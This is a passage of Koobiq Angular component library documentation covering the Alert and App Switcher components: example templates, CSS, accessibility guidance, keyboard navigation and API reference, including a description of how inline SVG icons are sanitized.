            <span class="kbq-text-normal-strong">ekb-mail-server</span>
            <button kbq-alert-control kbq-button [kbqStyle]="'transparent'">Retry</button>
            <button kbq-alert-control kbq-button [kbqStyle]="'transparent'">Install a different version</button>
        </kbq-alert>
    </div>
    <div class="layout-column example-column">
        <kbq-alert [compact]="true">
            <i aria-hidden="true" kbq-icon="kbq-circle-info_16"></i>
            Failed to update the agent
            <span class="kbq-text-normal-strong">ekb-mail-server</span>
            <button kbq-alert-control kbq-button [kbqStyle]="'transparent'">Retry</button>
            <button kbq-alert-control kbq-button [kbqStyle]="'transparent'">Install a different version</button>
        </kbq-alert>
    </div>
</div>

<div class="layout-row example-row layout-gap-l flex-100">
    <div class="layout-column example-column">
        @if (firstState) {
            <kbq-alert
                animate.leave="example-alert_leave"
                [class.kbq-animations-disabled]="animationsDisabled"
                (closed)="firstState = false"
            >
                <i aria-hidden="true" kbq-icon-item="kbq-circle-info_16"></i>
                The module is configured in the policy
                <a href="https://koobiq.io" kbqLink>Hypervisors</a>
                <button
                    kbq-alert-close-button
                    kbq-icon-button="kbq-xmark-s_16"
                    aria-label="Close"
                    [color]="colors.ContrastFade"
                ></button>
            </kbq-alert>
        }
    </div>
    <div class="layout-column example-column">
        @if (secondState) {
            <kbq-alert
                animate.leave="example-alert_leave"
                [class.kbq-animations-disabled]="animationsDisabled"
                [compact]="true"
                (closed)="secondState = false"
            >
                <i aria-hidden="true" kbq-icon="kbq-circle-info_16"></i>
                The module is configured in the policy
                <a href="https://koobiq.io" kbqLink>Hypervisors</a>
                <button
                    kbq-alert-close-button
                    kbq-icon-button="kbq-xmark-s_16"
                    aria-label="Close"
                    [color]="colors.ContrastFade"
                ></button>
            </kbq-alert>
        }
    </div>
</div>

<div class="layout-row example-row layout-gap-l flex-100">
    <div class="layout-column example-column">
        <kbq-alert>
            <i aria-hidden="true" kbq-icon-item="kbq-circle-info_16"></i>
            After recovery, check the agent groups' links to policies
        </kbq-alert>
    </div>
    <div class="layout-column example-column">
        <kbq-alert [compact]="true">
            <i aria-hidden="true" kbq-icon="kbq-circle-info_16"></i>
            After recovery, check the agent groups' links to policies
        </kbq-alert>
    </div>
</div>

<div class="layout-row example-row layout-gap-l flex-100">
    <div class="layout-column example-column">
        <kbq-alert>
            <i aria-hidden="true" kbq-icon-item="kbq-circle-info_16"></i>
            Short text in the alert
        </kbq-alert>
    </div>
    <div class="layout-column example-column">
        <kbq-alert [compact]="true">
            <i aria-hidden="true" kbq-icon="kbq-circle-info_16"></i>
            Short text in the alert
        </kbq-alert>
    </div>
</div>

<div class="layout-row example-row layout-gap-l flex-100">
    <div class="layout-column example-column">
        <kbq-alert>
            <p>
                A paragraph should convey and develop only one idea. For example, if you mix the causes, the essence of
                the problem, and possible solutions to the situation you are describing in a single paragraph, the
                reader will quickly get tired and most likely will not understand what they just read.
            </p>
            <p>
                Try to state the key idea in the first sentence of the paragraph, then expand on it in more detail and
                back it up with examples. That way the reader can skim the text diagonally and immediately see what each
                part is about. Sometimes the first sentences of a paragraph are set in bold — these are called run-in
                headings.
            </p>
        </kbq-alert>
    </div>
    <div class="layout-column example-column">
        <kbq-alert [compact]="true">
            <p>
                A paragraph should convey and develop only one idea. For example, if you mix the causes, the essence of
                the problem, and possible solutions to the situation you are describing in a single paragraph, the
                reader will quickly get tired and most likely will not understand what they just read.
            </p>
            <p>
                Try to state the key idea in the first sentence of the paragraph, then expand on it in more detail and
                back it up with examples. That way the reader can skim the text diagonally and immediately see what each
                part is about. Sometimes the first sentences of a paragraph are set in bold — these are called run-in
                headings.
            </p>
        </kbq-alert>
    </div>
</div>
```

```css alert-content-example.css
p {
    margin: 0 0;
}

p + p {
    margin-top: 8px;
}

:host {
    display: flex;
    flex-wrap: wrap;
    gap: 16px;
}

.example-column {
    width: 50%;
}

:host ::ng-deep .kbq-alert__button-stack {
    display: flex;
    flex-wrap: wrap;
    column-gap: 12px;
}

@media (1200px < width <= 1440px) {
    .example-row {
        flex-wrap: wrap;
    }

    .example-column {
        width: 100%;
    }
}

@media (width <= 1024px) {
    .example-row {
        flex-wrap: wrap;
    }

    .example-column {
        width: 100%;
    }
}

.example-alert_leave {
    animation: example-alert-fade-out 0.2s forwards;
}

.example-alert_leave.kbq-animations-disabled {
    animation: none;
}

@media (prefers-reduced-motion: reduce) {
    .example-alert_leave {
        animation: none;
    }
}

@keyframes example-alert-fade-out {
    to {
        opacity: 0;
    }
}
```

#### Accessibility

- **Static alerts.** The host applies only CSS classes and no ARIA role, which is correct for an alert rendered with the page: forcing `role="alert"` would make a screen reader announce page-load content unexpectedly.
- **Dynamically shown alerts.** When an alert appears in response to a user action (a validation error, a status change), add `role="alert"` for urgent messages, or `aria-live="polite"` with `aria-atomic="true"` for non-urgent status, so assistive technology announces it. Alternatively, announce the message with `LiveAnnouncer` from `@angular/cdk/a11y`.
- **Status by icon alone.** The status is conveyed by the icon color, which is not perceivable by every user. Repeat the severity in the title or body text (or add visually hidden text, e.g. `<span class="cdk-visually-hidden">Error:</span>`), and mark a decorative status icon `aria-hidden="true"`.
- **Close control.** Put the close button on a native `<button>` with an accessible name (`aria-label="Close"`) so it is reachable and operable by keyboard.
- **Focus on dismiss.** Dismissing an alert while focus is on its close control drops focus to `<body>`. Move focus to a logical target after removal — prefer `FocusMonitor.focusVia` from `@angular/cdk/a11y` so the focus ring is preserved.

### API

#### Components

##### KbqAlert (component)

Shows important information on a page. Can carry a hint, signal a status change, or indicate a problem.

```html
<kbq-alert [alertColor]="'error'" [alertStyle]="'colored'">Something went wrong</kbq-alert>
```

For a dynamically inserted alert, add `role="alert"` (or `aria-live`) on the host so assistive
technology announces it — see the component guide.

```ts
@Component({ selector: 'kbq-alert', exportAs: 'kbqAlert' })
class KbqAlert {
    readonly compact = input<boolean>(false);
    readonly alertStyle = input<KbqEnumValues<KbqAlertStyles>>(
        KbqAlertStyles.Default
    );
    readonly alertColor = input<"error" | "warning" | "success" | "info">(
        KbqAlertColors.Info
    );
    readonly closed = output<void>();
}
```

- `[compact]`: `boolean` — Whether the alert uses the denser compact size.
- `[alertStyle]`: `KbqEnumValues<KbqAlertStyles>` — Visual style — neutral `default` or the attention-drawing `colored` background.
- `[alertColor]`: `"error" | "warning" | "success" | "info"` — Status of the alert. Drives the background in the `colored` style and auto-tints an uncolored
  projected status icon to the matching color (`info` icons become `contrast`). Defaults to `'info'`.
- `(closed)`: `void` — Emitted when the projected close control is activated. The consumer is responsible for hiding the alert.

#### Directives

##### KbqAlertCloseButton (directive)

Marks the projected close control (place it on a native `<button>` with an accessible name).

```ts
@Directive({
    selector: '[kbq-alert-close-button]',
    exportAs: 'kbqAlertCloseButton'
})
class KbqAlertCloseButton {}
```

##### KbqAlertControl (directive)

Marks a projected action control (link or button) shown in the alert's button stack.

```ts
@Directive({ selector: '[kbq-alert-control]', exportAs: 'kbqAlertControl' })
class KbqAlertControl {}
```

##### KbqAlertTitle (directive)

Marks the projected alert heading.

```ts
@Directive({ selector: '[kbq-alert-title]', exportAs: 'kbqAlertTitle' })
class KbqAlertTitle {}
```

#### Enums

##### KbqAlertColors (enum)

Status conveyed by an alert. Drives the background (colored style) and the auto-tinted status icon.

```ts
enum KbqAlertColors {
    Error = 'error',
    Warning = 'warning',
    Success = 'success',
    Info = 'info'
}
```

##### KbqAlertStyles (enum)

Visual style of an alert.

```ts
enum KbqAlertStyles {
    Default = 'default',
    Colored = 'colored'
}
```

- `Default`: `'default'` — Neutral background; the status is conveyed by the icon color only.
- `Colored`: `'colored'` — Colored background matching the status — use to draw attention when a default alert gets lost on screen.

## App Switcher

- Entry point: `@koobiq/components/app-switcher`
- NgModule: `KbqAppSwitcherModule`
- Page: https://koobiq.io/en/components/app-switcher/overview

### Overview

A menu for switching between applications and platforms.

**Example: app-switcher** (`app-switcher-overview`)

```ts app-switcher-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqAppSwitcherApp, KbqAppSwitcherModule, KbqAppSwitcherSite } from '@koobiq/components/app-switcher';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqIcon } from '@koobiq/components/icon';
import { KbqToolTipModule } from '@koobiq/components/tooltip';
import { injectExampleText } from '../localized-data';

@Component({
    selector: 'app-switcher-overview-example',
    imports: [
        KbqAppSwitcherModule,
        KbqButtonModule,
        KbqIcon,
        KbqToolTipModule
    ],
    template: `
        {{ text().app }} {{ selectedApp.name }}
        <br />
        <br />
        <button
            kbq-button
            kbqAppSwitcher
            [attr.aria-label]="text().allApps"
            [kbqTooltip]="text().allApps"
            [sites]="sites"
            [(selectedApp)]="selectedApp"
        >
            <i kbq-icon="kbq-bento-menu_16"></i>
        </button>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class AppSwitcherOverviewExample {
    protected readonly text = injectExampleText();

    SVGIcon: string = `
        <svg fill="none" height="24" viewBox="0 0 32 32" width="24" xmlns="http://www.w3.org/2000/svg">
            <path clip-rule="evenodd"
                d="M0 25.6C0 28.4045 0 29.9635 1.01826 30.9817C2.03651 32 3.59554 32 6.4 32H25.6C28.4045 32 29.9635 32 30.9817 30.9817C32 29.9635 32 28.4045 32 25.6V6.4C32 3.59554 32 2.03651 30.9817 1.01826C29.9635 0 28.4045 0 25.6 0H6.4C3.59554 0 2.03651 0 1.01826 1.01826C0 2.03651 0 3.59554 0 6.4V25.6Z"
                fill-rule="evenodd" fill="#212121" />
            <path
                d="M14.9774 16L11.1933 19.7841L7.40918 16L11.1933 12.267L14.9774 16ZM19.7842 20.858L16.0512 24.5909L12.2671 20.858L16.0512 17.0739L19.7842 20.858ZM19.7842 11.1932L16.0512 14.9261L12.2671 11.1932L16.0512 7.40909L19.7842 11.1932ZM24.591 16L20.858 19.7841L17.1251 16L20.858 12.267L24.591 16Z"
                fill="white" />
        </svg>
    `;

    sites: KbqAppSwitcherSite[] = [
        {
            name: 'СЗФО',
            id: '02',
            apps: [
                {
                    name: 'Byte Sentinel',
                    caption: 'Byte 001',
                    id: 'SZFO_01',
                    iconSrc: 'https://koobiq.io/assets/images/favicons/icon.svg'
                },
                {
                    name: 'CryptoWall',
                    id: 'SZFO_02',
                    iconSrc: 'https://koobiq.io/assets/images/favicons/icon.svg'
                },
                {
                    name: 'App Instance 1',
                    caption: 'Instance Alias One',
                    id: 'SZFO_03',
                    iconSrc: 'https://koobiq.io/assets/images/favicons/icon.svg'
                },
                {
                    name: 'App Instance 2',
                    id: 'SZFO_04',
                    icon: this.SVGIcon
                },
                {
                    name: 'App Instance 3',
                    caption: 'Instance Alias Three',
                    id: 'SZFO_05',
                    icon: this.SVGIcon
                },
                {
                    name: 'App Instance 4',
                    caption: 'Instance Alias Four',
                    id: 'SZFO_06',
                    icon: this.SVGIcon
                },
                {
                    name: 'Phantom Gate',
                    id: 'SZFO_07',
                    icon: this.SVGIcon
                }
            ]
        }
    ];
    selectedApp: KbqAppSwitcherApp = this.sites[0].apps[1];
}
```

```ts ../localized-data.ts
import { computed, Signal } from '@angular/core';
import { kbqInjectLocaleService } from '@koobiq/components/core';

/** Resolves `data` for the active locale of the examples, falling back to `default` (English). */
export const injectLocalizedText = <T>(data: Record<string, T> & { default: T }): Signal<T> => {
    const localeService = kbqInjectLocaleService({ optional: true });

    return computed(() => data[localeService?.localeId() ?? 'default'] ?? data.default);
};

/** Text shown around the app switcher in the examples. The sites and apps stay the same in every locale. */
export interface ExampleText {
    /** Name and tooltip of the trigger. */
    allApps: string;
    /** Caption of the selected application. */
    app: string;
    /** Caption of the selected site. */
    site: string;
}

/** Text of the examples in the active locale. */
export const injectExampleText = (): Signal<ExampleText> =>
    injectLocalizedText<ExampleText>({
        'ru-RU': { allApps: 'Все приложения', app: 'Приложение:', site: 'Площадка:' },
        default: { allApps: 'All apps', app: 'App:', site: 'Site:' }
    });
```

#### Application icons

An application can carry either `iconSrc` — a URL loaded into an `<img>` — or `icon`, inline SVG markup rendered
into the DOM. Because inline markup ends up in the page, it is sanitized against a strict SVG allow-list before
rendering: `<script>`, `<style>`, `<foreignObject>`, HTML elements, every `on*` handler and any reference to an
external resource are removed, and markup that changes shape when re-parsed is dropped entirely. An icon that
loses everything falls back to `iconSrc`.

Prefer `iconSrc` for icons that come from a server. If the sanitizer strips something a legitimate icon needs,
the icon is likely relying on a feature (external references, embedded HTML) that does not belong in an inline
icon.

#### Multiple platforms

When the system has multiple platforms, the applications of the selected platform are shown at the top of the list and the platform name is displayed. Other platforms are collapsed at the bottom of the list. 4 or more applications of the same type within a platform are grouped together. The main platform is marked with a badge.

Search appears when more than 7 applications are available. Results are displayed as a flat list.

**Example: app-switcher-sites** (`app-switcher-sites`)

```ts app-switcher-sites-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqAppSwitcherApp, KbqAppSwitcherModule, KbqAppSwitcherSite } from '@koobiq/components/app-switcher';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqIcon } from '@koobiq/components/icon';
import { KbqToolTipModule } from '@koobiq/components/tooltip';
import { injectExampleText } from '../localized-data';

/** @title app-switcher-sites */
@Component({
    selector: 'app-switcher-sites-example',
    imports: [
        KbqAppSwitcherModule,
        KbqButtonModule,
        KbqIcon,
        KbqToolTipModule
    ],
    template: `
        {{ text().app }} {{ selectedApp.name }}
        <br />
        {{ text().site }} {{ selectedSite.name }}
        <br />
        <br />
        <button
            kbq-button
            kbqAppSwitcher
            [attr.aria-label]="text().allApps"
            [kbqTooltip]="text().allApps"
            [sites]="sites"
            [(selectedSite)]="selectedSite"
            [(selectedApp)]="selectedApp"
        >
            <i kbq-icon="kbq-bento-menu_16"></i>
        </button>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class AppSwitcherSitesExample {
    protected readonly text = injectExampleText();

    SVGIcon: string = `
        <svg fill="none" height="24" viewBox="0 0 32 32" width="24" xmlns="http://www.w3.org/2000/svg">
            <path clip-rule="evenodd"
                d="M0 25.6C0 28.4045 0 29.9635 1.01826 30.9817C2.03651 32 3.59554 32 6.4 32H25.6C28.4045 32 29.9635 32 30.9817 30.9817C32 29.9635 32 28.4045 32 25.6V6.4C32 3.59554 32 2.03651 30.9817 1.01826C29.9635 0 28.4045 0 25.6 0H6.4C3.59554 0 2.03651 0 1.01826 1.01826C0 2.03651 0 3.59554 0 6.4V25.6Z"
                fill-rule="evenodd" fill="#212121" />
            <path
                d="M14.9774 16L11.1933 19.7841L7.40918 16L11.1933 12.267L14.9774 16ZM19.7842 20.858L16.0512 24.5909L12.2671 20.858L16.0512 17.0739L19.7842 20.858ZM19.7842 11.1932L16.0512 14.9261L12.2671 11.1932L16.0512 7.40909L19.7842 11.1932ZM24.591 16L20.858 19.7841L17.1251 16L20.858 12.267L24.591 16Z"
                fill="white" />
        </svg>
    `;

    sites: KbqAppSwitcherSite[] = [
        {
            name: 'СЗФО',
            id: '02',
            apps: [
                {
                    name: 'Byte Sentinel',
                    caption: 'Byte 001',
                    id: 'SZFO_01',
                    type: 'NAD',
                    iconSrc: 'https://koobiq.io/assets/images/favicons/icon.svg'
                },
                {
                    name: 'CryptoWall',
                    id: 'SZFO_02',
                    type: 'NAD',
                    icon: this.SVGIcon
                },
                {
                    name: 'App Instance 1',
                    caption: 'Instance Alias One',
                    id: 'SZFO_03',
                    type: 'NAD',
                    icon: this.SVGIcon
                },
                {
                    name: 'App Instance 2',
                    id: 'SZFO_04',
                    type: 'NAD',
                    icon: this.SVGIcon
                },
                {
                    name: 'App Instance 3',
                    caption: 'Instance Alias Three',
                    id: 'SZFO_05',
                    type: 'NE-NAD',
                    icon: this.SVGIcon
                },
                {
                    name: 'App Instance 4',
                    caption: 'Instance Alias Four',
                    id: 'SZFO_06',
                    type: 'NE-NAD',
                    icon: this.SVGIcon
                },
                {
                    name: 'Phantom Gate',
                    id: 'SZFO_07',
                    type: 'NE-NAD',
                    icon: this.SVGIcon
                },
                {
                    name: 'SentraLock',
                    id: 'SZFO_08',
                    caption: 'Lock-sentral-urals',
                    type: 'NE-NAD',
                    icon: this.SVGIcon
                },
                {
                    name: 'Zero Trace',
                    id: 'SZFO_09',
                    type: '',
                    icon: this.SVGIcon
                }
            ]
        },
        {
            name: 'ЮФО',
            id: '03',
            apps: [
                {
                    name: 'Byte Sentinel',
                    caption: 'Byte 001',
                    id: 'UFO_01',
                    type: 'SIEM',
                    iconSrc: 'https://koobiq.io/assets/images/favicons/icon.svg'
                },
                {
                    name: 'CryptoWall',
                    id: 'UFO_02',
                    type: 'SIEM',
                    icon: this.SVGIcon
                },
                {
                    name: 'Phantom Gate',
                    id: 'UFO_03',
                    type: 'SIEM',
                    icon: this.SVGIcon
                },
                {
                    name: 'SentraLock',
                    caption: 'Lock-sentral-urals',
                    id: 'UFO_04',
                    type: 'SIEM',
                    icon: this.SVGIcon
                },
                {
                    name: 'Zero Trace',
                    id: 'UFO_05',
                    type: '',
                    icon: this.SVGIcon
                }
            ]
        },
        {
            name: 'Южный Суверенный Федеральный Округ ФО',
            status: 'Главная',
            id: '04',
            apps: [
                {
                    name: 'Byte Sentinel',
                    caption: 'Byte 001',
                    id: 'USFO_01',
                    type: 'APP',
                    icon: this.SVGIcon
                },
                {
                    name: 'CryptoWall',
                    id: 'USFO_02',
                    type: 'APP',
                    icon: this.SVGIcon
                },
                {
                    name: 'App Instance 1',
                    caption: 'Instance Alias One',
                    id: 'USFO_03',
                    type: 'APP',
                    icon: this.SVGIcon
                },
                {
                    name: 'App Instance 2',
                    id: 'USFO_04',
                    type: 'APP',
                    icon: this.SVGIcon
                },
                {
                    name: 'App Instance 3',
                    caption: 'Instance Alias Three',
                    id: 'USFO_05',
                    type: 'APP',
                    icon: this.SVGIcon
                },
                {
                    name: 'App Instance 4',
                    caption: 'Instance Alias Four',
                    id: 'USFO_06',
                    type: 'APP',
                    icon: this.SVGIcon
                },
                {
                    name: 'Phantom Gate',
                    id: 'USFO_07',
                    type: '',
                    icon: this.SVGIcon
                },
                {
                    name: 'SentraLock',
                    caption: 'Lock-sentral-urals',
                    id: 'USFO_08',
                    type: '',
                    icon: this.SVGIcon
                },
                {
                    name: 'Zero Trace',
                    id: 'USFO_09',
                    type: '',
                    icon: this.SVGIcon
                }
            ]
        },
        {
            name: 'ПФО',
            id: '05',
            apps: [
                {
                    name: 'Byte Sentinel',
                    caption: 'Byte 001',
                    id: 'PFO_01',
                    type: '',
                    icon: this.SVGIcon
                },
                {
                    name: 'CryptoWall',
                    id: 'PFO_02',
                    type: '',
                    icon: this.SVGIcon
                },
                {
                    name: 'Phantom Gate',
                    id: 'PFO_03',
                    type: '',
                    icon: this.SVGIcon
                },
                {
                    name: 'SentraLock',
                    caption: 'Lock-sentral-urals',
                    id: 'PFO_04',
                    type: '',
                    icon: this.SVGIcon
                },
                {
                    name: 'Zero Trace',
                    id: 'PFO_05',
                    type: '',
                    icon: this.SVGIcon
                }
            ]
        },
        {
            name: 'УФО',
            id: '06',
            apps: [
                {
                    name: 'Byte Sentinel',
                    caption: 'Byte 001',
                    id: 'UFO_01',
                    type: '',
                    icon: this.SVGIcon
                },
                {
                    name: 'CryptoWall',
                    id: 'UFO_02',
                    type: '',
                    icon: this.SVGIcon
                },
                {
                    name: 'App Instance 1',
                    caption: 'Instance Alias One',
                    id: 'UFO_03',
                    type: '',
                    icon: this.SVGIcon
                },
                {
                    name: 'App Instance 2',
                    id: 'UFO_04',
                    type: '',
                    icon: this.SVGIcon
                },
                {
                    name: 'App Instance 3',
                    caption: 'Instance Alias Three',
                    id: 'UFO_05',
                    type: '',
                    icon: this.SVGIcon
                },
                {
                    name: 'App Instance 4',
                    caption: 'Instance Alias Four',
                    id: 'UFO_06',
                    type: '',
                    icon: this.SVGIcon
                },
                {
                    name: 'Phantom Gate',
                    id: 'UFO_07',
                    type: '',
                    icon: this.SVGIcon
                },
                {
                    name: 'SentraLock',
                    caption: 'Lock-sentral-urals',
                    id: 'UFO_08',
                    type: '',
                    icon: this.SVGIcon
                },
                {
                    name: 'Zero Trace',
                    id: 'UFO_09',
                    type: '',
                    icon: this.SVGIcon
                }
            ]
        },
        {
            name: 'СФО',
            id: '07',
            apps: [
                {
                    name: 'Byte Sentinel',
                    caption: 'Byte 001',
                    id: 'SFO_01',
                    type: '',
                    icon: this.SVGIcon
                },
                {
                    name: 'CryptoWall',
                    id: 'SFO_02',
                    type: '',
                    icon: this.SVGIcon
                },
                {
                    name: 'Phantom Gate',
                    id: 'SFO_03',
                    type: '',
                    icon: this.SVGIcon
                },
                {
                    name: 'SentraLock',
                    caption: 'Lock-sentral-urals',
                    id: 'SFO_04',
                    type: '',
                    icon: this.SVGIcon
                },
                {
                    name: 'Zero Trace',
                    id: 'SFO_05',
                    type: '',
                    icon: this.SVGIcon
                }
            ]
        },
        {
            name: 'ДФО',
            id: '08',
            apps: [
                {
                    name: 'Byte Sentinel',
                    caption: 'Byte 001',
                    id: 'DFO_01',
                    type: '',
                    icon: this.SVGIcon
                },
                {
                    name: 'CryptoWall',
                    id: 'DFO_02',
                    type: '',
                    icon: this.SVGIcon
                },
                {
                    name: 'App Instance 1',
                    caption: 'Instance Alias One',
                    id: 'DFO_03',
                    type: '',
                    icon: this.SVGIcon
                },
                {
                    name: 'App Instance 2',
                    id: 'DFO_04',
                    type: '',
                    icon: this.SVGIcon
                },
                {
                    name: 'App Instance 3',
                    caption: 'Instance Alias Three',
                    id: 'DFO_05',
                    type: '',
                    icon: this.SVGIcon
                },
                {
                    name: 'App Instance 4',
                    caption: 'Instance Alias Four',
                    id: 'DFO_06',
                    type: '',
                    icon: this.SVGIcon
                },
                {
                    name: 'Phantom Gate',
                    id: 'DFO_07',
                    type: '',
                    icon: this.SVGIcon
                },
                {
                    name: 'SentraLock',
                    caption: 'Lock-sentral-urals',
                    id: 'DFO_08',
                    type: '',
                    icon: this.SVGIcon
                },
                {
                    name: 'Zero Trace',
                    id: 'DFO_09',
                    type: '',
                    icon: this.SVGIcon
                }
            ]
        }
    ];

    selectedSite: KbqAppSwitcherSite = this.sites[0];
    selectedApp: KbqAppSwitcherApp = this.sites[0].apps[0];
}
```

#### Keyboard navigation

The list of applications can be operated entirely from the keyboard.

| Key           | Action                                                                         |
| ------------- | ------------------------------------------------------------------------------ |
| ↑ / ↓         | Move focus to the previous/next item.                                          |
| Home / End    | Move focus to the first/last item.                                             |
| →             | Expand an application group, or open the flyout of another platform.           |
| ←             | Collapse a group, move from an alias to its group, or close a platform flyout. |
| Enter / Space | Open the focused application, or expand/collapse a group.                      |
| Esc           | Close the switcher.                                                            |

Typing the first letters of an item jumps to it. When search is available, ↓ moves focus from the search field into the list, and ↑ on the first item returns focus to the search field.

### API

#### Components

##### KbqAppSwitcherComponent (component)

Popup rendered by `KbqAppSwitcherTrigger`. The trigger attaches it to a CDK overlay itself (see
`getOverlayHandleComponentType`) and assigns `trigger` on the created instance, so consumers never place
`<kbq-app-switcher>` in a template - `[kbqAppSwitcher]` on the trigger element is the whole public surface.

```ts
@Component({ selector: 'kbq-app-switcher' })
class KbqAppSwitcherComponent extends KbqPopUp {
    readonly localeConfiguration: Signal<KbqAppSwitcherLocaleConfiguration>;
    readonly destroyRef: DestroyRef;
    readonly hovered: Signal<boolean>;
    header: string | TemplateRef<unknown>;
    content: string | TemplateRef<unknown>;
    context: { $implicit: unknown } | null;
    classMap: {};
    arrow: boolean;
    arrowCentered: boolean;
    defaultPaddings: boolean;
    offset: number | null;
    visibility: PopUpVisibility;
    visibleChange: EventEmitter<boolean>;
    isTemplateRef(value: any): boolean;
    show(delay: number): void;
    hide(delay: number): void;
    isVisible(): boolean;
    afterHidden(): Observable<void>;
    detectChanges(): void;
}
```

- `localeConfiguration`: `Signal<KbqAppSwitcherLocaleConfiguration>` — Strings currently rendered by the popup.
- `hovered`: `Signal<boolean>` — Whether the pointer is over the pop-up.
- `classMap`: `{}` — CSS classes of the pop-up element: the placement, the custom class and the modifiers of the subclass.
- `arrowCentered`: `boolean` — Whether the arrow points at the origin center while the panel keeps its placement. Defaults to `false`.
- `visibility`: `PopUpVisibility` — Stage of the pop-up's life: not shown yet, visible, or hidden.
- `hide()`: `void` — Hides the popup after a specified delay.

  The hide timeout triggers the hiding of the popup by updating visibility and emitting relevant events.
  - `delay`: `number` — The delay in milliseconds before hiding the popup.
- `afterHidden()`: `Observable<void>` — Returns an observable that notifies when the tooltip has been hidden from view.

#### Directives

##### KbqAppSwitcherTrigger (directive)

```ts
@Directive({ selector: '[kbqAppSwitcher]', exportAs: 'kbqAppSwitcher' })
class KbqAppSwitcherTrigger extends KbqPopUpTrigger<KbqAppSwitcherComponent> {
    readonly selectedApp = model<KbqAppSwitcherApp | undefined>();
    backdropClass = input<string | undefined>();
    offset = input<number | null | undefined>();
    sites = input<KbqAppSwitcherSite[] | undefined>();
    groupBy = input<KbqAppSwitcherGroupBy | undefined>();
    readonly selectedSite = model<KbqAppSwitcherSite | undefined>();
    disabled = input<boolean | undefined>();
    get withSearch(): boolean;
    placement: KbqPopUpPlacementValues;
    readonly placementChange: EventEmitter<KbqPopUpPlacementValues>;
    readonly visibleChange: EventEmitter<boolean>;
    set originalSites(value: KbqAppSwitcherSite[]);
    isOpen: boolean;
    get isAttached(): boolean;
    get openedChange(): Observable<boolean>;
    arrowCentered: boolean;
    updateOrigin(origin: KbqOverlayOrigin | null): void;
}
```

- `[(selectedApp)]`: `KbqAppSwitcherApp | undefined` — Selected application
- `[backdropClass]`: `string | undefined` — Class that will be used in the background
- `[offset]`: `number | null | undefined` — Offset of popUp
- `[sites]`: `KbqAppSwitcherSite[] | undefined` — Array of sites, with the applications of each site grouped for rendering.
- `[groupBy]`: `KbqAppSwitcherGroupBy | undefined` — Function to group the apps by type. The first argument is an app object with type.
  The second is a groups object and third is an array for untyped apps
- `[(selectedSite)]`: `KbqAppSwitcherSite | undefined` — Selected site
- `[disabled]`: `boolean | undefined` — Whether the trigger is disabled.
- `withSearch`: `boolean` — Whether search is used or not
- `placement`: `KbqPopUpPlacementValues` — Placement of popUp
- `placementChange`: `EventEmitter<KbqPopUpPlacementValues>` — Emits a change event whenever the placement state changes.
- `visibleChange`: `EventEmitter<boolean>` — Emits a change event whenever the visible state changes.
- `isOpen`: `boolean` — Whether the pop-up overlay is currently open.
- `isAttached`: `boolean` — Whether the pop-up overlay is currently attached.

  Unlike `isOpen`, which follows the visibility of the pop-up component and therefore lags a task behind
  `show()`/`hide()`, this flips synchronously — it is the window during which the overlay (and its
  backdrop) is present in the DOM. Part of the `KbqSiblingPopup` contract.
- `openedChange`: `Observable<boolean>` — Emits `true` when the pop-up opens and `false` when it closes. Part of the `KbqSiblingPopup` contract.
- `arrowCentered`: `boolean` — Whether the arrow points at the origin center while the panel keeps its placement. Defaults to `false`.
- `updateOrigin()`: `void` — Positions the pop-up against `origin` — an element, or a rectangle in viewport coordinates such as the one
  `kbqCreateCaretOrigin` keeps on the caret — instead of the host element; `null` restores the host
  element. An open pop-up moves to the new origin at once.

  This moves the position origin only. `setExternalNativeElement` moves the host itself, and with it
  the trigger's event listeners, its focus target and the scroll containers the pop-up follows.

#### Services

##### KbqAppSwitcherIconSanitizer (service)

Turns the caller-supplied inline SVG of an app-switcher icon into markup that is safe to hand to
`[innerHtml]`.

Angular's own HTML sanitizer cannot be used here: its allow-list contains no SVG elements at all, so it
would strip every icon. Instead the markup is parsed inert (inside a `<template>`, where no request is
issued and no script runs), filtered against a strict SVG allow-list, and only then marked as trusted.

```ts
@Injectable({ providedIn: 'root' })
class KbqAppSwitcherIconSanitizer {
    sanitize(icon: string | null | undefined): SafeHtml | null;
}
```

- `sanitize()`: `SafeHtml | null` — Sanitizes inline SVG markup and wraps it as `SafeHtml`. Returns `null` for empty input, so callers can
  use the result directly as the `@if` condition of the icon element.

#### Functions

##### kbqAppSwitcherProvider (function)

Providers used by the app-switcher. `KbqAppSwitcherModule` applies them for `NgModule` consumers;
standalone consumers that import `KbqAppSwitcherTrigger` directly may add them to their application (or
route) providers.

Providing them is optional: the only entry is the scroll strategy, and the directive falls back to the
default repositioning strategy when the token is absent. The app-switcher renders no focus trap, so - unlike
`KbqPopoverModule` and `KbqNotificationCenterModule`, whose templates bind `[cdkTrapFocus]` - it must not
swap `FOCUS_TRAP_INERT_STRATEGY`/`FocusTrapFactory`: those are injector-wide and would disable the CDK
inert strategy for every other focus trap in the same scope.

```ts
function kbqAppSwitcherProvider(): Provider[];
```

##### makeGroupsForApps (function)

Runs `groupBy` over `apps` and returns the rendered order: synthetic groups big enough to be collapsible
first, then every remaining application as a plain row.

A group is kept only when it holds strictly more than `minAppsForGrouping` applications; smaller groups are
flattened back into plain rows.

```ts
function makeGroupsForApps(
    apps: KbqAppSwitcherApp[],
    minAppsForGrouping: number,
    groupBy?: KbqAppSwitcherGroupBy
): KbqAppSwitcherApp[];
```

#### Types

##### KbqAppSwitcherApp (interface)

```ts
interface KbqAppSwitcherApp {
    name: string;
    id: string | number;
    type?: string | number;
    icon?: string;
    iconSrc?: string;
    caption?: string;
    aliases?: KbqAppSwitcherApp[];
    link?: string;
}
```

- `icon?`: `string` — Inline SVG markup for the application icon. Use this for SVG icons that should be rendered directly in
  the DOM.

  The markup is sanitized against a strict SVG allow-list before it is rendered
  (see `KbqAppSwitcherIconSanitizer`): scripts, event handlers, `foreignObject`, `style` and external
  references are removed. Prefer `iconSrc` when the icon comes from a URL.
- `iconSrc?`: `string` — Path to the icon file (URL or relative path).

##### KbqAppSwitcherGroupBy (type)

Reducer that assigns an application to a group. Called once per application; implementations either push the
app into `untyped` (rendered as a plain row) or add it to a synthetic group in `groups`.

```ts
type KbqAppSwitcherGroupBy = (
    app: KbqAppSwitcherApp,
    groups: Record<string, KbqAppSwitcherApp>,
    untyped: KbqAppSwitcherApp[]
) => void;
```

